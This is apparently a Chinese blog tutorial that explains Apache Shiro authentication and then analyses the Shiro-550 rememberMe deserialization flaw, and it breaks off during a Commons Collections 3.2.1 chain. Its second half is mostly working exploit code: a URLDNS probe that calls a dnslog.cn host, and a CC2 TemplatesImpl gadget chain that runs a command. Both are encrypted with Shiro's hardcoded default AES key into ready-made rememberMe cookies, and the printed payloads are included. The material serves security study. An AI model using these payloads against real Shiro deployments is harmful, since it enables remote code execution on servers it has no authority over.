Loading

shiro 反序列化

shiro 反序列化

简介

Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,可执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API,您可以快速轻松地保护任何应用程序 —— 从最小的移动应用程序到最大的 Web 和企业应用程序。

从官方的简介中就可以看出他是款用来完成权限认证的一个框架

入门

想要深入了解一下可以去看官方的文章:Application Security With Apache Shiro - InfoQ

当然也可去从 B 站上找一下对应的教程,时间也不用太长就三四个小时就可以,快速了解一下

shiro 当在有几个比较重要的概念

  • Subject: 表示当前执行操作的“用户”
  • SecurityManager: 负责管理所有的安全操作,像是认证、授权、会话管理等。
  • Realm 从数据源中获取用户身份信息(认证数据)和用户权限信息(授权数据)。
  • Principal Realm 认证成功后由它返回的数据,来标识认证通过的客户端(用户)

基本的认证流程

image-20250418154009283
  1. Subject 发起认证请求(调用 subject.login(token),token 包含用户凭据,如用户名和密码)。
  2. SecurityManager 接收到登录请求,负责协调认证工作,调用底层的 Authenticator
  3. Authenticator 调用对应的 Realm(或多个 Realm)去验证凭证。
  4. Realm 认证成功返回认证信息 —— 其中包括:
    • Principal(标识用户身份的信息,比如用户名、用户 ID 等)
    • 以及凭据相关信息(Credentials)
  5. Authenticator 收集这些信息,封装成 AuthenticationInfo 对象返回给 SecurityManager
  6. SecurityManager 判断认证是否成功,如果通过,会将对应的 Principal 等信息关联到当前 Subject 中。
  7. 登录流程返回成功,Subject 成为一个已认证状态。

我们来看一下最基本的代码示例使用,这里借用最简单的 IniRealm 来进行认证

导入依赖

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.2.4</version>
</dependency>
<!-- 添加日志依赖 -->
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>1.7.30</version>
</dependency>
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-simple</artifactId>
    <version>1.7.30</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
</dependency>

在 Resource 目录下创建 shiro.ini 文件,用来让 IniRealm 获取用户的相关数据

[users]
# 用户名=密码,角色1,角色2,...
admin=123456,admin
guest=guest,guest

[roles]
admin=*
guest=read

login 测试代码

package com.lingx5;

import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.config.IniSecurityManagerFactory;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.Factory;

public class Login {
    public static void main(String[] args) {
        // 1. 通过ini配置文件创建SecurityManager工厂
        Factory<SecurityManager> factory = new IniSecurityManagerFactory("classpath:shiro.ini");
        // 2. 获取SecurityManager实例并设置到SecurityUtils
        SecurityManager securityManager = factory.getInstance();
        SecurityUtils.setSecurityManager(securityManager);
        // 3. 获取当前用户(Subject)
        Subject currentUser = SecurityUtils.getSubject();
        // 4. 登录认证
        UsernamePasswordToken token = new UsernamePasswordToken("admin", "123456");
        try{
            currentUser.login(token);
            System.out.println("登录成功");
        }catch (AuthenticationException e){
            System.out.println("登录失败");
        }
        // 5. 角色和权限校验
        if(currentUser.hasRole("admin")) {
            System.out.println("用户拥有admin角色");
        }
        if(currentUser.isPermitted("*")) {
            System.out.println("用户拥有所有权限");
        }
        // 6. 登出
        currentUser.logout();
        System.out.println("用户已登出");
    }
}

目录结构

image-20250416161643740

输出结果

image-20250416161444436

现在让我们来学习一下 shiro 的漏洞

Shiro550

环境搭建

下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

部署 samples-web

image-20250418142722287

修改 samples-web 的 pom.xml 文件

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

当然默认是 jdk6,你也可以在父工程的 pom 文件中切换 jdk 的编译版本

image-20250418143004645

启动项目

image-20250418143034911

漏洞分析

shiro 交互流程

勾选 Remember Me 登录一下

image-20250418143736071

首先就是发送正常的表单数据

image-20250418144134210

服务器响应 Set-Cookie: rememberMe =....

image-20250418144217725

接着客户端会发送一个带有 remeberMe 字段的请求

image-20250418144432971

然后就会等了成功

image-20250418144523837

RememberMe 的生成

看到勾选了 RememberMe 的选项后,服务器端会返回来一个 Set-Cookie: rememberMe= 的字段,客户端再次发送请求会带上这个值

我们来源码看一下这个值是如何生成的

在 idea 里搜索 RememberMe 会看到 org.apache.shiro.web.mgt.CookieRememberMeManager 这个类,看类名他应该就是管理 Cookie 中的 RememberMe 的

在 org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity 方法打断点,这个方法名叫 remember序列化表示 应该就是生成 RememberMe 字段的方法

我们发送请求,发现确实会断在这里

image-20250418151532825

看一下调用栈

rememberSerializedIdentity:137, CookieRememberMeManager (org.apache.shiro.web.mgt)
rememberIdentity:347, AbstractRememberMeManager (org.apache.shiro.mgt)
rememberIdentity:321, AbstractRememberMeManager (org.apache.shiro.mgt)
onSuccessfulLogin:297, AbstractRememberMeManager (org.apache.shiro.mgt)
rememberMeSuccessfulLogin:206, DefaultSecurityManager (org.apache.shiro.mgt)
onSuccessfulLogin:291, DefaultSecurityManager (org.apache.shiro.mgt)
login:285, DefaultSecurityManager (org.apache.shiro.mgt)
login:256, DelegatingSubject (org.apache.shiro.subject.support)
executeLogin:53, AuthenticatingFilter (org.apache.shiro.web.filter.authc)

这也符合我们在入门时的分析,由 Filter 拦截到请求,交给 Subject 执行登录,会调用 SecurityManager 完成从 Realm 获取用户信息并判断登录是否成功

我们接着看上图 rememberSerializedIdentity 这个方法,后续流程就是把 serialized 参数,进行 base64 编码,设置到 cookie 中

image-20250418162158232

我们主要得分析 serialized 参数,是如何得来的

在 上一层调用栈 rememberIdentity:347, AbstractRememberMeManager (org.apache.shiro.mgt) 中看到 serialized 参数就是用户表示序列化后加密得到的

image-20250418154829591 image-20250418154829591

跟一下加密这个函数 看到要获取 CipherService 这个加密服务类,调用它对应的 encrypt 方法进行加密

protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }

但是这个加密服务的实现类有 6 个,我们不确定是哪一个

image-20250418162648596

我们在 org.apache.shiro.mgt.AbstractRememberMeManager#encrypt 函数打个断点,在发一次包,看看是调用的那个加密服务

看到调用的 AES 加密

image-20250418163413548

AES 加密就只需要明文和密钥,密钥就是 getEncryptionCipherKey() 这个方法获取的

image-20250418164320179

我们跟一下这个方法,看密钥是如何生成的。看到 get 方法直接 return 了

public byte[] getEncryptionCipherKey() {
    return encryptionCipherKey;
}

我们找一下 encryptionCipherKey 的 setter 方法

image-20250418164529148

看看谁在调用它,给 encryptionCipherKey 赋值

image-20250418164707431

找到了 AbstractRememberMeManager#setCipherKey 方法, 看到加密的 key 和解密的 key 是一个

image-20250418164758838

继续找一下 setCipherKey 的调用

image-20250418164839829

找到了 AbstractRememberMeManager 的构造方法

image-20250418164912359

看到设置的是一个常量 DEFAULT_CIPHER_KEY_BYTES,也很好定位到

image-20250418165053370

加密小结

把用户的身份表示 principals 序列化后,用固定的 key 进行了 AES 加密,设置到了 cookie 的 RememberMe 中

RememberMe 解密

我们发送带有 RememberMe 字段的请求

注意要删除 JSESSIONID 字段

其实这也很好理解,因为 JSESSIONID 是会话标识,表明当前请求绑定的活动会话,也就是说当前回话还没有断开。

而 RememberMe 是“免登录”凭据,及回话断开后,下次访问免登录的设置

在 CookieRememberMeManager 中有 getRememberedSerializedIdentity 方法,我们把断点下在这里,跟一下

image-20250418183935346

return 出来后,来到 AbstractRememberMeManager#getRememberedPrincipals 方法,解析二进制的 byte 流,转化为 principals

image-20250418184217097

我们跟进这个 convertBytesToPrincipals 方法

image-20250418184329300

看一下 decrypt

image-20250418184454169

看一下 decrypt 会来到 JcaCipherService#decrypt 这个实现

 public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

        byte[] encrypted = ciphertext;

        //No IV, check if we need to read the IV from the stream:
        byte[] iv = null;

        if (isGenerateInitializationVectors(false)) {
            try {
                //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it
                //is:
                // - the first N bytes is the initialization vector, where N equals the value of the
                // 'initializationVectorSize' attribute.
                // - the remaining bytes in the method argument (arg.length - N) is the real cipher text.

                //So we need to chunk the method argument into its constituent parts to find the IV and then use
                //the IV to decrypt the real ciphertext:

                int ivSize = getInitializationVectorSize();
                
                int ivByteSize = ivSize / BITS_PER_BYTE; // ivByteSize = 16

                //now we know how large the iv is, so extract the iv bytes:
                iv = new byte[ivByteSize];
                // 把RememberMe的前16个字节复制到 iv 中
                System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); 

                //remaining data is the actual encrypted ciphertext.  Isolate it:
                int encryptedSize = ciphertext.length - ivByteSize;
                encrypted = new byte[encryptedSize];
                // 把出去iv 的后续字节 复制到 encrypted 这个字节数组中
                System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
            } catch (Exception e) {
                String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
                throw new CryptoException(msg, e);
            }
        }
	// 再用encrypted、iv和key 做AES的解密
        return decrypt(encrypted, key, iv);
    }

反序列化

接下来就是 deserialize 反序列化了,不过值得注意的是 这个 inputStream 流对象是 ClassResolvingObjectInputStream

image-20250418184648233

而 ClassResolvingObjectInputStream 这个类重写了 resolveClass 方法,所以在反序列化的过程中会走重写的 resolveClass,而不会走 ObjectInputStream 默认的 resolveClass 方法

具体在 fastjson 原生反序列化链 - LingX5 - 博客园 这片文章中讲到过

image-20250418185421217

看到调用的是 org.apache.shiro.util.ClassUtils#forName 而不是 JDK 的 java.lang.Class#forName(java.lang.String)方法

可以看一下 ClassUtils#forName 这个方法

public static Class forName(String fqcn) throws UnknownClassException {

    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn +
                      "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }
        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " +
                      "Trying the system/application ClassLoader...");
        }
        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " +
            "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    }

    return clazz;
}

其内部实现,就是调用了 ClassLoader.loadClass() 的方式 进行类加载,ClassLoader.loadClass()这种方式无法加载数组类型的。(但是这里也不是纯正的 ClassLoader.loadClass,这里会涉及到 tomcat 的类加载委派机制)

而 java.lang.Class#forName 会去调用 forName0() 这个 native 方法,利用 JVM 的内部机制,能够识别数组类的特殊命名格式

但是在这里是 tomcat 的环境,本质上是调用的 Tomcat 的 Webapp ClassLoader,后边还是会委托给 Class#forName 加载 外部的数组类型 (Transformer[]),由于委托的父类加载器 URLClassLoader 的搜索路径没有 CommonsCollections 这个依赖,所以会加载失败。

所以在进行传统 CC 链攻击的时候,由于无法加载 Transformer [] 这个数组类型,会抛出异常

我们可以利用 TemplatesImpl 或者 CB 链来实现攻击

CC6 失败的原因

加入 tomcat 的依赖

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>7.0.109</version>
</dependency>

我们来看一下调试看一下这个类加载过程

Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);

步入就来到了 ClassUtils.ExceptionIgnoringAccessor#loadClass 这个方法,看到 getClassLoader 就是 tomcat 的 WebappClassLoader

image-20250420093552991

我们接着步入 来到 org.apache.catalina.loader.WebappClassLoaderBase#loadClass 方法

/**
     * 加载指定名称的类,并根据需要解析该类。
     * 此方法会尝试从多个位置加载类,包括缓存、J2SE 类加载器、父类加载器和本地仓库。
     */
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    // 获取类加载锁并进行同步,确保线程安全
    synchronized(this.getClassLoadingLockInternal(name)) {
        // 标记是否委托给父类加载器加载类,一般为false
        boolean delegateLoad;
        // 标签用于跳出多层嵌套的代码块
        label220: {
            // 如果调试日志启用,记录加载类的信息
            if (log.isDebugEnabled()) {
                log.debug("loadClass(" + name + ", " + resolve + ")");
            }

            // 用于存储加载的类对象
            Class<?> clazz = null;
            // 检查类加载器是否已停止
            if (!this.started) {
                try {
                    // 若已停止,抛出 IllegalStateException
                    throw new IllegalStateException();
                } catch (IllegalStateException e) {
                    // 记录类加载器已停止的日志
                    log.info(sm.getString("webappClassLoader.stopped", new Object[]{name}), e);
                }
            }

            // 尝试从自定义的缓存中查找已加载的类
            clazz = this.findLoadedClass0(name);
            if (clazz != null) {
                // 如果在缓存中找到类,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Returning class from cache");
                }
                // 如果需要解析类,则解析该类
                if (resolve) {
                    this.resolveClass(clazz);
                }
                return clazz;
            }

            // 尝试从 Java 标准的缓存中查找已加载的类
            clazz = this.findLoadedClass(name);
            if (clazz != null) {
                // 如果在缓存中找到类,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Returning class from cache");
                }
                // 如果需要解析类,则解析该类
                if (resolve) {
                    this.resolveClass(clazz);
                }
                return clazz;
            }

            try {
                // 尝试使用 J2SE 类加载器加载类
                clazz = this.j2seClassLoader.loadClass(name);
                if (clazz != null) {
                    // 如果需要解析类,则解析该类
                    if (resolve) {
                        this.resolveClass(clazz);
                    }
                    return clazz;
                }
            } catch (ClassNotFoundException var11) {
                // 忽略类未找到异常,继续尝试其他加载方式
            }

            // 如果安全管理器存在
            if (this.securityManager != null) {
                // 此处存在逻辑错误,原代码想获取包名索引,应改为 name.lastIndexOf('.')
                delegateLoad = name.lastIndexOf('.') >= 0; 
                if (delegateLoad) {
                    try {
                        // 检查是否有权限访问该包
                        this.securityManager.checkPackageAccess(name.substring(0, name.lastIndexOf('.')));
                    } catch (SecurityException var9) {
                        // 记录安全违规日志
                        String error = "Security Violation, attempt to use Restricted Class: " + name;
                        if (name.endsWith("BeanInfo")) {
                            log.debug(error, var9);
                        } else {
                            log.info(error, var9);
                        }
                        // 抛出类未找到异常
                        throw new ClassNotFoundException(error, var9);
                    }
                }
            }

            // 判断是否委托给父类加载器加载类
            delegateLoad = this.delegate || this.filter(name);
            if (delegateLoad) {
                // 如果需要委托,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Delegating to parent classloader1 " + this.parent);
                }
                try {
                    // 尝试使用父类加载器加载类
                    clazz = Class.forName(name, false, this.parent);
                    if (clazz != null) {
                        // 如果加载成功,记录日志
                        if (log.isDebugEnabled()) {
                            log.debug("  Loading class from parent");
                        }
                        // 如果需要解析类,则解析该类
                        if (resolve) {
                            this.resolveClass(clazz);
                        }
                        return clazz;
                    }
                } catch (ClassNotFoundException var12) {
                    // 忽略类未找到异常,继续尝试其他加载方式
                }
            }

            // 如果调试日志启用,记录开始在本地仓库搜索类的信息
            if (log.isDebugEnabled()) {
                log.debug("  Searching local repositories");
            }

            try {
                // 尝试从本地仓库查找并加载类
                clazz = this.findClass(name);
                if (clazz == null) {
                    // 如果未找到类,跳出标签标记的代码块
                    break label220;
                }
                // 如果加载成功,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Loading class from local repository");
                }
                // 如果需要解析类,则解析该类
                if (resolve) {
                    this.resolveClass(clazz);
                }
                return clazz;
            } catch (ClassNotFoundException var13) {
                // 忽略类未找到异常,跳出标签标记的代码块
                break label220;
            }
        }

        // 如果没有委托给父类加载器加载类
        if (!delegateLoad) {
            // 如果调试日志启用,记录最后委托给父类加载器加载类的信息
            if (log.isDebugEnabled()) {
                log.debug("  Delegating to parent classloader at end: " + this.parent);
            }
            try {
                // 尝试使用父类加载器加载类
                Class<?> var21 = Class.forName(name, false, this.parent);
                if (var21 == null) {
                    // 如果未找到类,抛出类未找到异常
                    throw new ClassNotFoundException(name);
                }
                // 如果加载成功,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Loading class from parent");
                }
                // 如果需要解析类,则解析该类
                if (resolve) {
                    this.resolveClass(var21);
                }
                return var21;
            } catch (ClassNotFoundException var14) {
                // 抛出类未找到异常
                throw new ClassNotFoundException(name);
            }
        }
    }

    // 如果所有尝试都失败,抛出类未找到异常
    throw new ClassNotFoundException(name);
}

主要的类加载方法

  1. clazz = this.findLoadedClass0(name);
  2. clazz = this.findLoadedClass(name);
  3. clazz = this.j2seClassLoader.loadClass(name);
  4. clazz = Class.forName(name, false, this.parent); 当 delegateLoad 为 true 或者 false 都会经过这个 forName
  5. clazz = this.findClass(name);

而数组类型缓存和类加载器无法加载,就会进入 Class.forName 方法传入 this.parent 向上委托

image-20250420133400523

这里的加载流程为

加载核心类时:java.lang.String

  • URLClassLoader 首先将请求委托给它的父加载器URLClassLoader 的父加载器通常是扩展类加载器 (ExtClassLoader)
  • 扩展类加载器再将请求委托给它的父加载器,也就是 引导类加载器 (Bootstrap ClassLoader)
  • 引导类加载器 在其负责的路径(如 rt.jar 或 JRE 核心模块)中查找 。它 能够找到并加载 核心 Java 类。如 int String 等
  • 获取元素类型: 由于委托链成功地让引导类加载器加载了 java.lang.Stringthis.parent (URLClassLoader) 最终能够获取到 java.lang.StringClass 对象。
  • 数组类创建: 因为元素类型 java.lang.StringClass 对象已成功加载(并且其定义类加载器是 Bootstrap ClassLoader),JVM 现在可以动态地创建 String[]Class 对象。数组类的定义加载器与其元素类型的定义加载器相同。因此,String[] 的定义加载器也是 Bootstrap ClassLoader。
  • 返回结果: Class.forName 成功返回 String[]Class 对象。

而加载外部类时:Transformer

  • URLClassLoader 将请求委托给它的父加载器 (ExtClassLoader)。
  • Ext Loader 委托给 Bootstrap Loader。
  • Bootstrap Loader 找不到 Transformer (它不是核心 JRE 类)。
  • Platform/Ext Loader 找不到 Transformer (它不在扩展目录或平台模块中)。
  • 请求回到 this.parent (URLClassLoader)。它会 搜索自己配置的 URLs ( Tomcat 的 shared/libcommon/lib 目录)。
  • Transformer 位于 WEB-INF/classesWEB-INF/lib 中,这些路径通常不包含在父加载器 (this.parent) 的搜索路径中。因此,this.parent 也找不到 Transformer

看到 URLClassLoader 的路径主要就是 tomcat 的 lib 包目录

image-20250420134054839

URLDNS

这应该是最常用的漏洞验证的链了,jdk 自身的发送 http 请求的链条

package com.lingx5;

import org.apache.shiro.codec.Base64;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        URL uri = new URL("http://x8o4kd.dnslog.cn");
        // 反射修改hashCode值,避免本地发送请求
        Field field = uri.getClass().getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(uri, 1);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(uri, "lingx5");
        field.set(uri,-1); // 还原hashCode值
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();
        byte[] URLbytes = barr.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        // 生成一个固定的 IV(实际应用中建议随机生成并随密文一起传输)
        byte[] iv = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
        byte[] encryptedBytes = cipher.doFinal(URLbytes);
        // 合并 IV 和密文
        byte[] newBytes = new byte[iv.length + encryptedBytes.length];
        System.arraycopy(iv, 0, newBytes, 0, iv.length);
        System.arraycopy(encryptedBytes, 0, newBytes, iv.length, encryptedBytes.length);
        // Base64编码
        String encodedString = Base64.encodeToString(newBytes);
        System.out.println(encodedString);

        /**
         * 模拟Shiro解密过程进行验证
         * */
/*
        // Base64解码
        byte[] decode = Base64.decode(encodedString);
        // 分割 IV 和密文
        byte[] deIv = new byte[16];
        byte[] enBytes = new byte[decode.length - deIv.length];
        System.arraycopy(decode,0,deIv,0,deIv.length);
        System.arraycopy(decode,deIv.length,enBytes,0,enBytes.length);
        IvParameterSpec deIvSpace = new IvParameterSpec(deIv);
        cipher.init(Cipher.DECRYPT_MODE, key, deIvSpace);
        byte[] decryptedBytes = cipher.doFinal(enBytes);


        // 反序列化验证
        ByteArrayInputStream bais = new ByteArrayInputStream(decryptedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();

 */
    }
}
AAAAAAAAAAAAAAAAAAAAAItICRDL55PQ4M+uF/0QjIxmsxx8mwO0zL+cCUsm9HObVST6ifzXbe1pfVhnBOcNB/avKvCNhZKKEkw8li0SSbf62ZGen2JxK9GPNTlXi10BYih5NVjk4ocW4ENUi6hZlSxiNlyC3Q25XwIhMON/uw7crTuwACWmWE0jIdPOYyABOdZJA9nlewAZpTrmEaHbZYQB5KVDpRXP2yqBkbTvjNUfIvwEuX60rpPKt7e8sEjSxFlwSCz3FKopCi3NiM3aeeXV8drr/SI0NQCbrCDgntbel3wZLXU0pMelccjtIQfq7JmBPs81MT3PR1GKNd5UWi8ESuneT6fkFK6FRu6pqfCmF9hYZMfctiA1v8GUGxpI

image-20250421105715521

CC2payload

CC2 可以攻击的是 commons-collections4

需要 shiro 环境有 commons-collections4 依赖

<dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
    </dependency>
package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.shiro.codec.Base64;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Shiro550CC2 {
    public static  byte[] getEvil(){
        try {
            String  cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
            ClassPool ctClass = ClassPool.getDefault();
            CtClass evil = ctClass.makeClass("evil");
            evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
            evil.makeClassInitializer().insertBefore(cmd);
            byte[] bytes = evil.toBytecode();
            return bytes;

        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static PriorityQueue gadget() throws Exception {
        // 构造TemplatesImpl对象
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        TemplatesImpl templates = (TemplatesImpl) clazz.getConstructor().newInstance();
        setField(templates, "_bytecodes", new byte[][]{getEvil()});
        setField(templates, "_name", "evil");
        // 构造 CC2 利用链
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(invokerTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(1,comparator);
        setField(priorityQueue,"queue",new Object[]{templates,templates} );
        setField(priorityQueue,"size",2);

        return priorityQueue;
    }
    public static void main(String[] args) throws Exception {
        // 序列化PriorityQueue对象
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(gadget());
        oos.close();
        
        byte[] CC2bytes = baos.toByteArray();
        // AES加密

        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        // 生成一个固定的 IV(实际应用中建议随机生成并随密文一起传输)
        byte[] iv = new byte[16];
        javax.crypto.spec.IvParameterSpec ivSpec = new javax.crypto.spec.IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
        byte[] encryptedBytes = cipher.doFinal(CC2bytes);
        // 合并 IV 和密文
        byte[] newBytes = new byte[iv.length + encryptedBytes.length];
        System.arraycopy(iv, 0, newBytes, 0, iv.length);
        System.arraycopy(encryptedBytes, 0, newBytes, iv.length, encryptedBytes.length);
        // Base64编码
        String encodedString = Base64.encodeToString(newBytes);
        System.out.println(encodedString);
        
         /**
          * 模拟Shiro解密过程进行验证
          * */
        
        // Base64解码
        byte[] decode = Base64.decode(encodedString);
        // 分割 IV 和密文
        byte[] deIv = new byte[16];
        byte[] enBytes = new byte[decode.length - deIv.length];
        System.arraycopy(decode,0,deIv,0,deIv.length);
        System.arraycopy(decode,deIv.length,enBytes,0,enBytes.length);
        IvParameterSpec deIvSpace = new IvParameterSpec(deIv);
        cipher.init(Cipher.DECRYPT_MODE, key, deIvSpace);
        byte[] decryptedBytes = cipher.doFinal(enBytes);


        // 反序列化验证
        ByteArrayInputStream bais = new ByteArrayInputStream(decryptedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

AAAAAAAAAAAAAAAAAAAAAJE6IN+YLEO/t7NuQvYGo54pFMPmAy1jLjUdyV2cc+dKJ0aTntr18Yzsis+1QzDVvl+rnlJLeWPJuL0cSfWAzo+2No6vA3hYfiyY7N7bIdaAAkxZxFdOGUyPMfG4Vp2mmGvHx2OvJ5ryzYS4uJR8RbZqb6c5DVsaBAnzkILt1HEKgl0/wuiDxWzHw/c7O253wUyl6/YB5eQZbrDzNR4BuXcmSrLAn2cMPOo/f7FBNDZ6Gx+prKFPBZD5Suu4B6baLKZ0+qkOWyjOhshG2IVWEdIStW3eCfaLnYYSx24taYZmD+n+iARz4bwtsCThedKniGYlFWRYGbFYgSbtJuzwPXR5jJcIiS5miHlpdftHO9qPESGHYxD/G9HodhwPGNb/PfRo5nTOXCCUohsJKvRPKU5R2AntvueGsQE51QPqU1xwRS6AlKNqCofMvvJI1Xgm29ah2brze3mZvOC/oDvDzZ1fO/yF5VN0f8fcvIkML64xr85zeCyyb+Ozj4RVgIkWrud0cfqZDkagw3Q+bL/C+N7L8jVH+EJDIqzhfiLKg5hAkBaS6Gq3X/BxPT80hEX/u6ke6eedzfMwwi487NVb8uZpBlmNBY+l9K5Ml5ZBWN7e8ecziiswodwu0PX12Eq+wtHpIiUt5rpyHnbV0Wyk+oHvlICeBhdEXlrGcmCDJWpN/J8uWykd/4rkXi192HWTmMaUV69sfBXxgV6461QX7fFbMxY5+MNfJzo78OXxZAkFA/R+xhALT3aP6TFPJKX1kEbP8lL/D39FIDw+WLHezbGJpfPbT/1KIU7dY/n6wqxJpq/B/FNPNKn3bcZaa8uktCgrBq67j/+cd6y1k3V2Rt8uP7sK9pUMv5D9Xk32kzC0QTHYmLAXRIffY97am6nzWhE5yqmKGAm7Nom3Wmy2i2oY5dQGg/D7DNY0Q15BplVWoOUDveB9az1g9GrF8ds4VAI7ZmCPwiz/7Q5lTa3CBAH00NWkauHe/iLqnw/injiwewoL8PA3fQv3R05lFC6LodL8PfKb1aEYWv8/PcRqWcM4QFkI4+VrmsHpu7D3/QthiMkQCCMS/VZjmtI2irReaLS9mlSlsa+p4mV5P6segENa7A5d6A5ov9hJ1oyGL7WGkaljvpEQrvbuu6gsPR2sw26e567iZtAsOv1j46MlYiAKBFMX4fR41ARzoIS/b2fVV/Bi7+MYP7S/50xS5ynfqby3rmJPYe1uIoJFZhUvwvMWCcU+vQ5rnVD6vd4KNp1ULXNeS3Wd/nZRWIKrpsDxyGZ8ZhFWxJh28IPXrL4VWjfeYnXlk7VlnZq4gp3JGHCm0MTo51Fy6Dpg9AdN5qlxIAsXWD6hTYWlMiuPNuIBQmUfePCG5vJA26lTFa2nRZB3Lwggj20s6QDIQ/cOLrLzZ49KvdefCasO/o1tArOpfcVE+nC3WYBrcRVAC0jrlErBTNR7IW6wBdpSD0R24O9jWzBDsCmxkNEC+cN6Jn8J7/TzcrKHjnhimpNYZkC1X0epP8Xw3wWJbQOakrzYJIF9zEWBVdldFN9CrE8nbei/MM/Xiywn6LOoLHdaiDQ5LhFA221wep1ek8gvzWI0QT8g+vvz6PdgrzThNhkFHGrYYt7h59owXNAJ6drLJHmQogsx0/Fge0YZdAfr8MwpUVdUiNnxNe0IaKPKK1QZhVcD9VJfBW3hKUKV6ojeHW9QKhh0AMV/4vZFs3VkkNJOVjr8TCEKZoW5m60pB0O5YhhOHGo=

可以成功执行

image-20250419165458208

CC3.2.1 攻击

需要 shiro 目标有 CommonsCollections3.2.1 依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

这条链子是由 CC 系列的链条拼接得到的,主要就是要去掉 Transformer [] 这个数组,实现命令执行

package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
